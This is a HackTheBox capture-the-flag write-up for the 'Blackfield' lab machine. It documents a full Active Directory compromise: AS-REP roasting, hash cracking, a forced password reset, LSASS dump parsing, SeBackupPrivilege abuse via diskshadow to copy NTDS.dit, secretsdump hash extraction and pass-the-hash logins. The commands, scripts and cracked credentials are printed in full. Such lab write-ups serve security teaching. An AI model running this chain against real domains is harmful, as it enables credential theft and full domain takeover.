HackTheBox - Blackfield

HackTheBox - Blackfield

Blackfield begins with collecting a list of usernames from an SMB share. With these usernames, I’m able to perform AS-REP roasting attack and obtain a TGT of a helpdesk account. The helpdesk account can be used to reset the password of an audit account. Re-enumerating SMB shares using the audit account finds a memory dump file of LSASS. The dump file contains an NT hash of a service account that is a member of Backup Operators. The privileges of the Backup Operators group can be abused to create a volume shadow copy and pull the NTDS.dit file from there. The NTDS.dit file can be extracted to retrieve the NT hash of the administrator account, and that hash can be used for remote access with administrative privilege.

Skills Learned

  • AS-REP roasting
  • LDAP enumeration
  • BloodHound
  • Abusing Windows Access Tokens - SeBackupPrivilege

Tools

Reconnaissance

Nmap

An initial TCP scan with nmap discovers at least seven open ports. These ports are the typical port used by Active Directory Domain Controller (AD DC).

→ root@iamf «blackfield» «10.10.14.169»
$ nmap -sC -sV -oN initial-blackfield 10.10.10.192
Nmap scan report for blackfield.htb (10.10.10.192)
Host is up (0.054s latency).

PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings: 
| DNSVersionBindReqTCP: 
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020–10–04 10:53:38Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/3%Time=5F794746%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2020–10–04T10:55:58
|_ start_date: N/A

I will summarize the results:

  • There is a DNS service on port 53, but HTB box is a single machine, so enumerating this service is not priority.
  • There is a Kerberos service on port 88 is running Kerberos. I can try AS-REP roasting here.
  • There is MS-RPC service on port 135, which I don’t touch it really often, so I’ll lower the priority.
  • There is an LDAP service on port 389, LDAP is the standard protocol for directory services. Active Directory is Microsoft’s implementation of directory services and it supports LDAP query.
  • There is an SMB service on port 445. I can try anonymous login here.
  • Port 3268 is running LDAP as well, but it’s used as global catalog (read more: here).

nmap also identified the AD domain name to be blackfield.local.

Enumeration

TCP 389 - LDAP

On LDAP, I can send a query to obtain the domain metadata, but first I’ll look into the rootDSE1 to retrieve a list of the domain naming context.

→ root@iamf «blackfield» «10.10.14.169»
$ ldapsearch -LLL -x -h 10.10.10.192 -s base namingContexts
dn:
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local
  • -LLL: removes every comments in the output

  • -x: do simple authentication

  • -h: hostname or IP

  • -s: search scope, base will returns the contents of rootDSE.

I can use DC=BLACKFIELD,DC=local (this is called as distinguished name), but unfortunately the anonymous bind is not allowed.

TCP 445 - SMB

Trying anonymous login with crackmapexec returns a status access denied.

→ root@iamf «blackfield» «10.10.14.169»
$ crackmapexec smb 10.10.10.192 -u '' -p '' --shares
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [-] BLACKFIELD.local\: STATUS_ACCESS_DENIED
SMB         10.10.10.192    445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

But on using smbclient, it return the shares list.

→ root@iamf «blackfield» «10.10.14.169»
$ smbclient -N -L //10.10.10.192/

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        profiles$       Disk
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection for 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

Later, I came to know that ‘anonymous’ must be specified in crackmapexec.

image-20210504155151284

profiles$ share

I have read permission on the profile$ share. The share contains a bunch of empty users folder.

image-20210504155638689

I can convert these folders name to list of username using awk '{print $1}'.

→ root@iamf «blackfield» «10.10.14.169»
$ cat folder.list | awk '{print $1}' | tee users.list
AAlleni
ABarteski
ABekesz
ABenzies
ABiemiller
AChampken
...<SNIP>...

Now that I have a list of usernames, I can try AS-REP roast attack.

TCP 88 - Kerberos

AS-REP roasting

I’ll use GetNPUsers.py to perform AS-REP roasting on Kerberos.

→ root@iamf «blackfield» «10.10.14.169»
$ GetNPUsers.py BLACKFIELD.LOCAL/ -no-pass -usersfile users.list -dc-ip 10.10.10.192 -outputfile TGT_AS-REP

And I will watch the output file using watch command

→ root@iamf «blackfield» «10.10.14.169»
$ watch -n 1 cat TGT_AS-REP

After a few minutes, it captures the hash for user support.

image-20210504160338371

I’ll send the hash to my Windows for cracking.

→ root@iamf «blackfield» «10.10.14.169»
$ cat TGT_AS-REP
$krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e1539552de705eb8605c4$821c479c296fc01c7db5c01f75c08cedd607897692d622f1de2972d6601ebd880b3cb32e663e8c1a2cac5f2531aa1f1cb1323bc6b2a1816d212f179031952b9c1c1290cf11066339706d5cc592ab1e4e9de40e4db0986647c550860b2677671ce6b4b73761e119f56d9651b277a1297a87fa160e22eed4ecee7cb522c03d142cac647a467dfc48f69afb17fef110337134cfef9070f0b1f34d073772409dc31c6c0d0edea5562a9a37387ea44a48fb4947277e84300db0bf7da4ec5a9b3be94a7a1d4c910b1dd39f17ace62366f8e111dca756e13359750171464cd23b23e7b33d427a42978b489dc0a58bc9e586ff02ff3ab805

Cracking the Hash

I’ll use dictionary attack to recover the user password using hashcat, and it cracks within a few seconds.

C:\tools\hashcat6> hashcat -m 18200 hashes/blackfield.hash rockyou.txt -O
hashcat (v6.1.1) starting...

...<SNIP>...
$krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e1539552de705eb8605c4$821c479c296fc01c7db5c01f75c08cedd607897692d622f1de2972d6601ebd880b3cb32e663e8c1a2cac5f2531aa1f1cb1323bc6b2a1816d212f179031952b9c1c1290cf11066339706d5cc592ab1e4e9de40e4db0986647c550860b2677671ce6b4b73761e119f56d9651b277a1297a87fa160e22eed4ecee7cb522c03d142cac647a467dfc48f69afb17fef110337134cfef9070f0b1f34d073772409dc31c6c0d0edea5562a9a37387ea44a48fb4947277e84300db0bf7da4ec5a9b3be94a7a1d4c910b1dd39f17ace62366f8e111dca756e13359750171464cd23b23e7b33d427a42978b489dc0a58bc9e586ff02ff3ab805:#00^BlackKnight

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:55211d2eb15e...3ab805
...<SNIP>...

The password for user support is #00^BlackKnight.

Access as support

Now that I obtained a set of credentials, I can re-enumerate the available services.

LDAP Domain Dump

The credentials works on LDAP, I can use it to obtain the domain info using ldapdomaindump.

→ root@iamf «loot» «10.10.14.169»
$ ldapdomaindump -u 'BLACKFIELD.LOCAL\support' -p '#00^BlackKnight' -no-json -no-grep 10.10.10.192
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

The output from the tool are formatted in HTML document, and I get the following information:

The OS information and the computer FQDN.

image-20210504162822528

The domain policy.

image-20210504162931229

The interesting domain users.

image-20210504163338913

image-20210504163255290

Interesting groups

image-20210504163741235

image-20210504163658173

image-20210504163716719

From here, I know that user support does not have remote shell access.

BloodHound

There is a python-based ingestor for BloodHound besides SharpHound. It can be used remotely from Linux.

→ root@iamf «loot» «10.10.14.169»
$ python bloodhound.py -c All -u 'support@blackfield.local' -p '#00^BlackKnight' -d blackfield.local -dc DC01.BLACKFIELD.local -ns 10.10.10.192
  • -c: collect method : all
  • -u,-p: credentials set
  • -d: domain name
  • -dc: FQDN of domain controller (it’s on ldap domain dump section → domain_computers.html)
  • -ns: name server / DNS

It returns the following output:

INFO: Found AD domain: blackfield.local
INFO: Connecting to LDAP server: DC01.BLACKFIELD.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Connecting to GC LDAP server: dc01.blackfield.local
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 00M 18S

The output files from the tool are in json format. They are: computers.json, domains.json, groups.json and users.json.

I can upload these files to BloodHound GUI by drag and drop.

image-20210504165340110

Enumerating the user support permissions discovers it has ForceChangePassword permission on Audit2020. That means user support is able to change the user audit2020 password.

image-20210504165510700

Reset Audit2020 Password

I can change the user audit2020 password using net rpc2. I’ll set P@$$w0rd! as the new password for user audit2020.

→ root@iamf «blackfield» «10.10.14.169»
$ net rpc password audit2020 -U 'support%#00^BlackKnight' -S 10.10.10.192
Enter new password for audit2020: 

Access as Audit2020

forensic share

With audit2020, I can access the forensic share.

→ root@iamf «blackfield» «10.10.14.169»
$ smbmap -H 10.10.10.192 -u audit2020 -p 'P@$$w0rd!' 
[+] IP: 10.10.10.192:445        Name: BLACKFIELD.local
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                READ ONLY       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share

Inside the share, there is three folders, and I’ll download all of them to my Kali.

→ root@iamf «blackfield» «10.10.14.169»
$ smbclient -U 'audit2020%P@$$w0rd!'//10.10.10.192/forensic 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 20:03:16 2020
  ..                                  D        0  Sun Feb 23 20:03:16 2020
  commands_output                     D        0  Mon Feb 24 01:14:37 2020
  memory_analysis                     D        0  Fri May 29 03:28:33 2020
  tools                               D        0  Sun Feb 23 20:39:08 2020
smb: \> recurse on
smb: \> mget *

Enumerating on the memory_analysis folder, there is a file called lsass.zip that contains lsass.DMP which is interesting to me.

→ root@iamf «blackfield» «10.10.14.169»
$ file lsass.DMP
lsass.DMP: Mini DuMP crash report, 16 streams, Sun Feb 23 18:02:01 2020, 0x421826 type

LSASS (Local Security Authentication Subsystem Service) is a service/process that used to verify and authenticate users on login to a Windows computer. In other words, it holds the Windows credentials.

Foothold

Shell as svc_backup

Dump Lsass

A tool called pypykatz can be used to dump the contents of lsass.DMP. The NT hash of svc-backup immediately shows up on the top.

image-20210504173356195

The hash is 9658d1d1dcd9250115e2205d9f48400d.

WinRM - svc_backup

I knew that this user can login remotely (from LDAP), so I can try it with evil-winrm, and it worked.

→ root@iamf «blackfield» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'

image-20210504173749952

User flag is done here.

Privilege Escalation

Shell as Administrator

Internal Enumeration

Also from LDAP, svc-backup is a member of the Backup Operators group. Each member of the Backup Operators group can perform backup and restore operations. The privilege name to perform those two operations are called SeBackupPrivilege and SeRestorePrivilege.

image-20210504174334134

Those two privileges can be abused3 using diskshadow4.

I can’t just perform the backup and restore if the system is currently in use (online). But, there is a technology from Microsoft called “Shadow Copy” that makes this possible, and that’s where diskshadow will be used.

So the idea is that I can create a volume shadow of C: drive and backup the NTDS.dit file (AD database) from the volume shadow back to C: drive. After that I can grab the NTDS.dit and dump the NT hashes from NTDS.dit locally using secretsdump.py. To achieve this I will use this gist as reference. I will also need this module.

Abusing SeBackupPrivilege

I’ll create a few scripts to perform all the needed actions (create a volume, grab ntds.dit, and cleanup the volume shadow) in one run.

The first one is the script for grabbing NTDS.dit file, I will save it as copy.cmd.

cmd.exe /c "powershell.exe -c Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Copy-FileSeBackupPrivilege f:\windows\ntds\ntds.dit C:\temp\ntds.dit"

The next one is the script for creating and deleting the volume shadow, I will save it as script.txt.

set context persistent nowriters 
add volume c: alias iamf 
create 
expose %iamf% f: 
exec "copy.cmd" 
delete shadows volume %iamf% 
reset

After that, I will move the modules and the scripts into a folder called exploits.

→ root@iamf «exploits» «10.10.14.169»
$ tree
.
├── SeBackupPrivilegeCmdLets.dll
├── SeBackupPrivilegeUtils.dll
├── copy.cmd
└── script.txt

0 directories, 4 files

Now, I’ll copy these .dll modules, copy.cmd, and script.txt to Blackfield using the upload feature from evil-winrm at C:\temp\.

→ root@iamf «exploits» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents>mkdir C:\temp; cd C:\temp
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload SeBackupPrivilegeCmdLets.dll
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload SeBackupPrivilegeUtils.dll
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload copy.cmd
...<SNIP>...
*Evil-WinRM* PS C:\temp> upload script.txt
...<SNIP>...

After that, I can run diskshadow with the /s option, then I can supply the created script.txt as the command sequence.

Evil-WinRM* PS C:\temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  10/4/2020 8:15:53 AM

-> set context persistent nowriters
-> add volume c: alias iamf
-> create

Alias iamf for shadow ID {7c53326a-2617-450c-9d2d-5c381352aa45} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {6142125a-a889-46a9-9d5e-87ff17b66d2c} set as environment variable.

Querying all shadow copies with the shadow copy set ID {6142125a-a889-46a9-9d5e-87ff17b66d2c}

        * Shadow copy ID = {7c53326a-2617-450c-9d2d-5c381352aa45}               %iamf%
                - Shadow copy set: {6142125a-a889-46a9-9d5e-87ff17b66d2c}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 10/4/2020 8:15:54 AM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %iamf% f:
-> %iamf% = {7c53326a-2617-450c-9d2d-5c381352aa45}
The shadow copy was successfully exposed as f:\.
-> exec "copy.cmd"
C:\temp>cmd.exe /c "powershell.exe -c Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Import-Module(Resolve-Path('SeBackupPrivilegeCmdLets.dll')); Copy-FileSeBackupPrivilege f:\windows\ntds\ntds.dit C:\temp\ntds.dit"
Copied 18874368 bytes
-> delete shadows volume %iamf%
-> %iamf% = {7c53326a-2617-450c-9d2d-5c381352aa45}
Deleting shadow copy {7c53326a-2617-450c-9d2d-5c381352aa45} on volume \\?\Volume{351b4712-0000-0000-0000-602200000000}\ from provider {b5946137-7b9f-4925-af80-51abd60b20d5} [Attributes: 0x00120019]...

Number of shadow copies deleted: 1
-> reset

Now that I have the ntds.dit, the last file that I need is the registry hive.

Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM c:\temp\system
The operation completed successfully.

I will download these files to my Kali using evil-winrm download feature.

Evil-WinRM* PS C:\temp> ls


    Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/4/2020   8:20 AM       18874368 ntds.dit 
-a----        10/4/2020   8:14 AM            222 copy.cmd
-a----        10/4/2020   8:15 AM            140 script.txt
-a----        10/4/2020   8:14 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----        10/4/2020   8:14 AM          16384 SeBackupPrivilegeUtils.dll
-a----        10/4/2020   8:21 AM       17547264 system

Credentials Dumping

Now I can dump the NT hash from ntds.dit and system file using secretsdump.py.

→ root@iamf «loot» «10.10.14.169»
$ secretsdump.py -system system -ntds ntds.dit LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
...<SNIP>...

WinRM - Administrator

I can use the NT hash of administrator account to login using evil-winrm pass-the-hash feature.

→ root@iamf «loot» «10.10.14.169»
$ evil-winrm -i 10.10.10.192 -u administrator -H '184fb5e5178480be64824d4cd53b99ee'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator

  1. It’s an anonymous authentication, but limited only to the rootDSE, because the domain controller (DC) needs to know who are we and what authentication do we support, so it exchanges some information about itself. ↩︎

  2. https://room362.com/post/2017/reset-ad-user-password-with-linux/ ↩︎

  3. https://github.com/giuliano108/SeBackupPrivilege ↩︎

  4. https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/ ↩︎